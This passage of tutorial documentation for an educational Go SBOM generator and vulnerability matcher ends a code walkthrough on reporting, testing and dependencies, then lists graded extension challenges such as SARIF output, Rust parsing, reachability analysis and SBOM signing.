**Vulnerability report** groups by severity (critical first), sorts by CVSS score within each group, and color-codes headers:
```go
switch sev {
case types.SeverityCritical:
fmt.Fprintf(w, " %s\n", ui.Red(header))
case types.SeverityHigh:
fmt.Fprintf(w, " %s\n", ui.Yellow(header))
case types.SeverityMedium:
fmt.Fprintf(w, " %s\n", ui.Cyan(header))
default:
fmt.Fprintf(w, " %s\n", ui.Dim(header))
}
```
Each vulnerability shows the affected PURL, vulnerability ID, truncated summary (60 char max), CVSS score, and fix version if available.
### JSON Output (`internal/report/json.go`)
The JSON reporter wraps all three result types into a single envelope:
```go
type JSONReport struct {
Scan *types.ScanResult `json:"scan,omitempty"`
Vulns *types.VulnReport `json:"vulnerabilities,omitempty"`
Policy *types.CheckResult `json:"policy,omitempty"`
}
```
Fields are `omitempty` so that `bomber scan --format json` only includes the scan section, while `bomber check --format json` includes all three.
## Testing Strategy
### Unit Tests
Each package has focused unit tests that verify behavior without external dependencies:
- **Parser tests** use `testdata/` fixtures: real `go.mod`, `package.json`, `pyproject.toml`, and lockfiles. Tests verify correct package counts, version extraction, direct/transitive classification, and checksum parsing.
- **Graph tests** construct graphs programmatically and verify traversal, cycle detection, and merging.
- **CVSS tests** verify known CVE vectors against expected scores (e.g., CVE-2023-44487 = 7.5, Log4Shell = 10.0).
- **Cache tests** use `t.TempDir()` for isolated SQLite databases and verify put/get, expiry, miss, and overwrite behavior.
### Integration Tests
`internal/scanner/integration_test.go` tests the full pipeline: scan testdata directories, build graphs, verify no cycles, generate SPDX and CycloneDX output, validate JSON.
### Vulnerability Client Tests
OSV and NVD tests use `net/http/httptest` servers that return fixture responses. This avoids flaky tests from real API calls while still testing the full HTTP request/response cycle, including URL construction, header setting, and response parsing.
### Running Tests
```bash
just test # go test -race ./...
just test-v # with verbose output
just cover # with coverage summary
just cover-html # generate HTML coverage report
```
## Dependencies
### Why Each Dependency
- **cobra** (v1.10.2): CLI framework. Bomber has four subcommands with persistent flags, custom help rendering, and signal handling. Cobra handles all of this.
- **fatih/color** (v1.19.0): Terminal color output. Used via wrapper functions at `internal/ui/color.go`. Respects `NO_COLOR` environment variable and `--no-color` flag.
- **go-toml/v2** (v2.3.0): TOML parser for `pyproject.toml` and `uv.lock`. Uses struct tags for clean deserialization.
- **yaml.v3** (v3.0.1): YAML parser for `pnpm-lock.yaml` and `policy.yaml`.
- **modernc.org/sqlite** (v1.48.1): Pure-Go SQLite implementation. No CGo, no C compiler needed, single static binary output.
- **google/uuid** (v1.6.0): UUID generation for CycloneDX serial numbers.
- **testify** (v1.11.1): Test assertions and requirements. Used throughout the test suite for `assert.Equal`, `require.NoError`, etc.
## Next Steps
You've seen how the code works. Now:
1. **Try the challenges** - [04-CHALLENGES.md](./04-CHALLENGES.md) has extension ideas from easy to expert
2. **Modify the code** - Change the Go parser to use `go list -m -json all` instead of `go mod graph` and compare the output
3. **Read related projects** - The secrets-scanner project uses similar patterns (Cobra CLI, registry, testdata fixtures) in a different security domain

445
PROJECTS/intermediate/sbom-generator-vulnerability-matcher/learn/04-CHALLENGES.md Normal file
View File

@ -0,0 +1,445 @@
# Extension Challenges
You've built the base project. Now make it yours by extending it with new features.
These challenges are ordered by difficulty. Start with the easier ones to build confidence, then tackle the harder ones when you want to dive deeper.
## Easy Challenges
### Challenge 1: Add a Blocked Packages Policy Rule
**What to build:** A new policy rule that fails when specific packages are present in the dependency tree, regardless of whether they have vulnerabilities.
**Why it's useful:** Some packages are known-risky even without CVEs. Packages with single maintainers, packages that have been abandoned, or packages your organization has decided to ban. The `event-stream` attack wouldn't have triggered a vulnerability scan, but a "blocked packages" list would have caught `flatmap-stream` immediately.
**What you'll learn:**
- Extending the policy YAML schema
- Adding a new evaluation path in the policy engine
- Working with the dependency graph to check package names
**Hints:**
- Add `blocked_packages: ["lodash", "moment"]` to the `Policy` struct in `internal/policy/rules.go`
- In `internal/policy/engine.go`, iterate over all packages in all graphs and check against the blocked list
- The check should match on package name, not PURL, so you can block `lodash` without specifying a version
**Test it works:**
Create a policy file with `blocked_packages: ["lodash"]` and run `bomber check testdata/node-project --policy your-policy.yaml`. It should fail because the node test fixture depends on lodash.
### Challenge 2: Add Markdown Report Output
**What to build:** A `--format markdown` option that outputs the vulnerability report as a GitHub-flavored Markdown table.
**Why it's useful:** CI/CD pipelines often post results as PR comments. A Markdown table renders cleanly in GitHub, GitLab, and Bitbucket PR discussions.
**What you'll learn:**
- Adding a new output format to the report layer
- Working with `io.Writer` for composable output
- Extending CLI flag handling
**Hints:**
- Create `internal/report/markdown.go` with functions matching the terminal report signatures
- The vulnerability table should have columns: Package, Vulnerability ID, Severity, CVSS Score, Fix Version
- Register the format in `internal/cli/scan.go`, `vuln.go`, and `check.go` alongside `terminal` and `json`
**Test it works:**
Run `bomber vuln testdata/go-project --format markdown` and verify the output renders correctly when pasted into a GitHub issue.
### Challenge 3: Add `--direct-only` Flag
**What to build:** A flag that filters scan and vulnerability results to only show direct dependencies, ignoring transitives.
**Why it's useful:** When triaging vulnerabilities, direct dependencies are actionable (you can bump the version in your manifest). Transitive vulnerabilities require waiting for your direct dependency to update, which is a different workflow.
**What you'll learn:**
- Adding persistent flags to Cobra commands
- Filtering `ScanResult` and `VulnReport` based on `Package.Direct`
**Hints:**
- Add the flag in `internal/cli/root.go` with `rootCmd.PersistentFlags().BoolVar`
- Filter in `queryVulns` before sending to the API: only include packages where `pkg.Direct == true`
- Also filter `ScanResult` for the scan summary counts
**Test it works:**
Compare output of `bomber vuln testdata/go-project` with and without `--direct-only`. The direct-only version should show fewer packages.
## Intermediate Challenges
### Challenge 4: Add Rust Ecosystem Support
**What to build:** A parser for Rust projects that reads `Cargo.toml` and `Cargo.lock`.
**Real world application:** Rust is growing fast in systems programming and security tooling. Cargo.lock has a well-defined format with explicit dependency sections.
**What you'll learn:**
- Implementing the `DependencyParser` interface for a new ecosystem
- TOML parsing for Cargo's format (different from Python's pyproject.toml)
- PURL construction for the `cargo` type
**Implementation approach:**
1. **Add `EcosystemRust`** to the `Ecosystem` enum in `pkg/types/types.go` with a `String()` case returning `"rust"`
2. **Create `internal/parser/cargo.go`:**
- `Detect()`: check for `Cargo.toml`
- `Parse()`: read `Cargo.toml` for project name/version and direct dependencies, read `Cargo.lock` for resolved versions and the full dependency tree
- PURLs follow the format `pkg:cargo/serde@1.0.200`
3. **Register** in `internal/parser/registry.go`
4. **Create test fixtures** in `testdata/rust-project/` with a `Cargo.toml` and `Cargo.lock`
**Hints:**
- Cargo.lock has `[[package]]` TOML arrays with `name`, `version`, `source`, and `checksum` fields
- Dependencies in Cargo.lock are listed as `dependencies = ["dep1", "dep2 0.3.0 (registry+...)"]`
- The tricky part is parsing the dependency format, which can include version and source constraints
**Test it works:**
Create a test Rust project fixture and run `bomber scan testdata/rust-project`. Verify the package count and ecosystem detection.
### Challenge 5: Add SARIF Output for CI Integration
**What to build:** A `--format sarif` option that outputs vulnerability findings in SARIF v2.1.0 format for integration with GitHub Code Scanning, Azure DevOps, and other CI platforms.
**Real world application:** GitHub Actions can ingest SARIF files and display findings inline on pull requests. This is how tools like CodeQL, Snyk, and Trivy surface results in the GitHub UI.
**What you'll learn:**
- SARIF specification structure (runs, results, rules, locations)
- Building complex JSON documents with nested structs
- CI/CD integration patterns
**Implementation approach:**
1. **Create `internal/report/sarif.go`** with SARIF v2.1.0 types:
- `sarifLog` with `$schema`, `version`, `runs`
- Each vulnerability becomes a `result` with a `ruleId`, `message`, and `level`
- Map CVSS severity to SARIF levels: CRITICAL/HIGH = "error", MEDIUM = "warning", LOW = "note"
2. **Map Bomber data to SARIF fields:**
- Rule ID = vulnerability ID (e.g., `CVE-2023-44487`)
- Rule shortDescription = vulnerability summary
- Result message = package PURL + fix version if available
- Level = severity mapping
3. **Add format handling** in the CLI commands
**Hints:**
- The SARIF schema URL is `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json`
- GitHub Actions uses `github/codeql-action/upload-sarif@v3` to ingest SARIF files
- Look at the secrets-scanner project's `internal/reporter/sarif.go` for a working SARIF implementation in the same codebase
**Test it works:**
Run `bomber vuln testdata/go-project --format sarif | jq .` and verify it's valid SARIF. Upload it to GitHub Code Scanning in a test repo.
### Challenge 6: Add License Detection
**What to build:** Extract license information from dependencies and add it to the SBOM output.
**Real world application:** SBOMs aren't just for vulnerability tracking. License compliance is the other major use case. Organizations need to know if they're using GPL-licensed code in proprietary software.
**What you'll learn:**
- SPDX license expression syntax
- Extending the `Package` type with new fields
- Extracting license data from ecosystem-specific sources
**Implementation approach:**
1. **Add `License string` field** to `types.Package`
2. **Go parser:** Extract license from `go.sum` or by running `go list -m -json` which includes a `Dir` field you can scan for LICENSE files
3. **Node parser:** Read the `license` field from `package.json` entries in `pnpm-lock.yaml`
4. **Python parser:** Read the `license` field from package metadata (this may require querying PyPI or reading `dist-info`)
5. **Update SBOM generators:**
- SPDX: set `licenseConcluded` and `licenseDeclared` fields
- CycloneDX: add `licenses` array to components
**Hints:**
- Start with just the Node parser, which has license info readily available in `package.json`
- SPDX license identifiers are standardized: "MIT", "Apache-2.0", "GPL-3.0-only"
- For packages where license can't be determined, use "NOASSERTION" (SPDX) or omit the field (CycloneDX)
## Advanced Challenges
### Challenge 7: Add Reachability Analysis
**What to build:** Determine whether a vulnerable function is actually called by the project, not just imported as a dependency.
**Why this is hard:** A project can depend on `golang.org/x/net` without ever calling the vulnerable HTTP/2 functions. Knowing the dependency is present is useful; knowing whether the vulnerable code path is reachable is much more actionable.
**What you'll learn:**
- Static analysis with Go's `go/ast` and `go/types` packages
- Call graph construction
- False positive reduction in vulnerability scanning
**Architecture changes needed:**
```
┌───────────────────┐ ┌───────────────────┐
│ Vulnerability │ │ Call Graph │
│ Match (existing) │────▶│ Analysis (new) │
│ pkg + vuln ID │ │ symbols reachable? │
└───────────────────┘ └───────────┬────────┘
│
▼
┌───────────────────┐
│ Enriched Match │
│ + reachable: bool │
└───────────────────┘
```
**Implementation steps:**
1. **Research phase:** Study Go's `golang.org/x/tools/go/callgraph` package and the `vulncheck` approach used by `govulncheck`
2. **Design phase:** Decide whether to do import-level analysis (which packages are imported) or symbol-level analysis (which functions are called). Import-level is simpler but less precise.
3. **Implementation phase:**
- Parse Go source files with `go/ast`
- Build an import graph
- Cross-reference with vulnerability affected symbols
- Add `Reachable bool` to `VulnMatch`
4. **Testing phase:** Create test fixtures with both reachable and unreachable vulnerable imports
**Gotchas:**
- Only feasible for Go projects (Go's tooling supports this analysis). For Node and Python, import-level analysis is the practical ceiling.
- Reflection and dynamic dispatch defeat static analysis. You'll need to flag these cases as "unknown reachability" rather than "not reachable."
### Challenge 8: Build a Dependency Diff Tool
**What to build:** A `bomber diff` command that compares two SBOMs and shows what changed: added packages, removed packages, version changes, new vulnerabilities, resolved vulnerabilities.
**Why this is hard:** Diffing SBOMs requires normalizing identifiers across formats, handling renames and version bumps, and presenting changes in a way that's actionable.
**What you'll learn:**
- SBOM parsing (the reverse of generation)
- Set operations on dependency data
- Changelog presentation for security context
**Implementation steps:**
1. **Create `internal/diff/diff.go`** with types:
```
Added []Package
Removed []Package
Changed []PackageChange (old version → new version)
NewVulns []VulnMatch
ResolvedVulns []VulnMatch
```
2. **Add `bomber diff old.json new.json`** command
3. **Handle both SPDX and CycloneDX** input formats by detecting the format from the JSON structure
4. **Run vulnerability scans** on both the old and new package sets to compute the vulnerability delta
**Gotchas:**
- PURLs without versions (possible in fallback parsing) make diffing ambiguous
- A package can be "changed" in one ecosystem and "removed + added" in another if it moved between lockfiles
### Challenge 9: Add GitHub Actions Integration
**What to build:** A complete GitHub Actions workflow that runs Bomber on every PR, caches results between runs, posts a comment with the vulnerability summary, and blocks merging if the policy fails.
**Why this is hard:** CI integration involves environment detection, artifact caching, GitHub API interaction, and idempotent comment posting (update existing comment rather than creating duplicates).
**What you'll learn:**
- GitHub Actions workflow syntax and caching
- GitHub REST API for PR comments
- CI/CD security scanning patterns used in production
**Implementation steps:**
1. **Create `.github/workflows/sbom-check.yml`:**
- Trigger on `pull_request`
- Install Bomber (use the install script or `go install`)
- Run `bomber check . --policy policy.yaml --format json`
- Cache `~/.bomber/cache.db` between runs
2. **Create a comment script** that reads Bomber's JSON output and formats it as a Markdown PR comment using `gh api`
3. **Handle idempotent comments:** search for existing Bomber comments on the PR and update them instead of creating new ones
4. **Add status check integration:** use `bomber check` exit code to pass/fail the check
**Gotchas:**
- The cache path needs to be relative or configurable for CI caching
- PR comment permissions require `pull-requests: write` in the workflow
- Rate limits on the GitHub API need handling for monorepos with many PRs
## Expert Challenges
### Challenge 10: Build a Vulnerability Database Mirror
**What to build:** A local mirror of the OSV database that Bomber queries instead of the live API. This eliminates network dependency and enables air-gapped environments.
**Prerequisites:** You should have completed the cache challenge and understand SQLite schema design.
**What you'll learn:**
- Database synchronization patterns
- Bulk data ingestion and indexing
- Offline security scanning (required in air-gapped government/defense environments)
**Planning this feature:**
Before you code, think through:
- How do you handle initial sync vs incremental updates?
- What's the storage footprint? (OSV has ~200,000+ vulnerability records)
- How do you query the local database with the same PURL-based interface?
**Implementation phases:**
**Phase 1: Database schema**
- Design SQLite tables for vulnerabilities, affected packages, and version ranges
- Index by PURL prefix (ecosystem type) for fast lookups
**Phase 2: Sync engine**
- Use OSV's bulk export (Google Cloud Storage buckets) or the list endpoint
- Implement incremental sync based on last-modified timestamps
**Phase 3: Local query client**
- Implement `vuln.Client` interface backed by the local database
- Replace HTTP queries with SQL queries
- Handle version range matching locally
**Phase 4: CLI integration**
- Add `bomber mirror sync` command to trigger sync
- Add `--offline` flag to use only the local mirror
- Fall back to API if mirror is stale
**Success criteria:**
- [ ] Initial sync completes in under 10 minutes
- [ ] Incremental sync completes in under 30 seconds
- [ ] Query results match live API results for the test fixtures
- [ ] Works without network access after initial sync
- [ ] Storage is under 500MB for the full OSV database
## Performance Challenges
### Challenge: Handle 10,000-Dependency Monorepos
**The goal:** Make Bomber handle a monorepo with 10,000+ total dependencies without running out of memory or taking more than 60 seconds (excluding API calls).
**Current bottleneck:** The dependency graph stores all packages in memory. SBOM generation serializes the entire graph to JSON. For very large projects, both the graph and the JSON output can be large.
**Optimization approaches:**
**Approach 1: Streaming SBOM generation**
- Instead of building the full JSON document in memory, stream SPDX/CycloneDX output using `json.Encoder`
- Gain: Constant memory for SBOM generation regardless of graph size
- Tradeoff: Can't pretty-print with `json.MarshalIndent` (need custom formatting)
**Approach 2: Parallel parsing**
- Run ecosystem parsers concurrently with `errgroup`
- Gain: A monorepo with Go, Node, and Python projects scans 3x faster
- Tradeoff: Need to synchronize graph accumulation
**Benchmark it:**
```bash
time bomber scan ./large-monorepo
time bomber generate ./large-monorepo --sbom-format cyclonedx > /dev/null
```
Target metrics:
- Scan phase: < 5 seconds for 10,000 packages
- SBOM generation: < 10 seconds, < 200MB RSS
### Challenge: Reduce Binary Size
**The goal:** Get the Bomber binary under 5MB (current is larger due to the SQLite dependency).
**Optimization approaches:**
- Use `go build -ldflags="-s -w"` (already in the Justfile, strips debug info and symbol table)
- Consider `upx` compression for distribution
- Profile the binary with `go tool nm` to identify large dependencies
- Evaluate whether `modernc.org/sqlite` can be replaced with a lighter cache (e.g., bbolt) if SQLite features aren't needed
## Security Challenges
### Challenge: Add SBOM Signing
**What to implement:** Cryptographic signing of generated SBOMs so consumers can verify they haven't been tampered with.
**Threat model:** An attacker who can modify SBOMs in transit or at rest could hide vulnerabilities or add fake clean reports. Signing prevents this.
**Implementation:**
- Use `cosign` (Sigstore) or `notation` (Notary v2) for keyless signing
- Add `--sign` flag to the generate command
- Attach the signature as a separate `.sig` file or embed it in the SBOM metadata
- Add `bomber verify <sbom-file>` command to validate signatures
**Testing the security:**
- Modify a signed SBOM and verify that `bomber verify` detects the tampering
- Verify that signing works with both SPDX and CycloneDX output
### Challenge: Add VEX (Vulnerability Exploitability eXchange) Support
**What to implement:** VEX document generation that states whether vulnerabilities in an SBOM are actually exploitable in your specific context.
**Real world application:** A vulnerability in a dependency you import but never call its affected function is "not affected." VEX lets you formally state this, reducing noise for downstream consumers of your SBOM.
**Implementation:**
- Add `bomber vex ./project` command
- For each vulnerability found, prompt or accept a status: "not_affected", "affected", "fixed", "under_investigation"
- Output VEX in CycloneDX VEX or OpenVEX format
- Store VEX statements in a local file (`.bomber/vex.json`) so they persist across scans
## Real World Integration Challenges
### Integrate with GitHub Dependency Graph
**The goal:** Upload Bomber's dependency data to GitHub's Dependency Graph API so it appears in the repository's "Insights > Dependency graph" tab.
**What you'll need:**
- GitHub API token with `repo` scope
- Understanding of GitHub's Dependency Submission API
- PURL-to-GitHub ecosystem mapping
**Implementation plan:**
1. Generate a Dependency Snapshot from Bomber's scan results
2. POST to `https://api.github.com/repos/{owner}/{repo}/dependency-graph/snapshots`
3. Handle the response and report success/failure
**Watch out for:**
- GitHub's snapshot format has specific requirements for manifest file paths
- Rate limits on the Dependency Submission API
### Integrate with Dependency-Track
**The goal:** Upload Bomber-generated SBOMs to an OWASP Dependency-Track instance for continuous monitoring.
**What you'll need:**
- A running Dependency-Track instance (Docker: `docker run -p 8080:8080 dependencytrack/apiserver`)
- API key from Dependency-Track settings
**Implementation plan:**
1. Add `bomber upload --server <url> --project <name>` command
2. Generate CycloneDX SBOM (Dependency-Track's preferred format)
3. POST to Dependency-Track's BOM upload API
4. Report the project URL for the uploaded SBOM
## Challenge Completion
Track your progress:
- [ ] Easy: Blocked packages policy rule
- [ ] Easy: Markdown report output
- [ ] Easy: Direct-only flag
- [ ] Intermediate: Rust ecosystem support
- [ ] Intermediate: SARIF output
- [ ] Intermediate: License detection
- [ ] Advanced: Reachability analysis
- [ ] Advanced: Dependency diff tool
- [ ] Advanced: GitHub Actions integration
- [ ] Expert: Vulnerability database mirror
- [ ] Performance: 10,000-dependency monorepos
- [ ] Performance: Binary size reduction
- [ ] Security: SBOM signing
- [ ] Security: VEX support
- [ ] Integration: GitHub Dependency Graph
- [ ] Integration: Dependency-Track
Completed all of them? You've built a production-grade supply chain security tool. Consider contributing your extensions back to the project or building a standalone tool based on what you've learned.